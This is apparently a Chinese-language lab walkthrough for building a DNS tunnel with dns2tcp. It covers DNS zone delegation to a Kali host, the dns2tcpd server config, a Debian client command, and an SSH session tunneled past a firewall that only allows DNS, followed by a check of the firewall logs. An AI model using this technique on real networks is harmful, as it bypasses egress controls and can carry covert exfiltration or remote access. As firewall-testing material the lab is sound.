网络拓扑:
Step1:在DNS服务器上创建域 forcepoint.com
创建A记录 10.158.1.20指向kali,再创建CNAME dns2tcp.forcepint
委派域名dns2tcp.forcepoint 给kali (10.158.1.20)
Step2:在防火墙上做SNAT,并只放行domain-udp
Step3:在kali 上配置dns2tcp服务器端
vim /etc/dns2tcpd.conf
listen = 10.158.1.20 //配置监听IP
port = 53
# If you change this value, also change the USER variable in /etc/default/dns2tcpd
user = nobody
chroot = /tmp
domain = dns2tcp.forcepoint.com //配置DNS
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25
开启服务
└─# dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
注:kali本机的DNS要指向DNS服务器
Step4:在客户端debain上开启服务
root@debian:~#dns2tcpc -r ssh -z dns2tcp.forcepoint.com 10.158.1.20 -l 2222 -d
Step5:建立隧道,验证结果
root@debian:~# ssh root@127.0.0.1 -p 2222
查看防火墙日志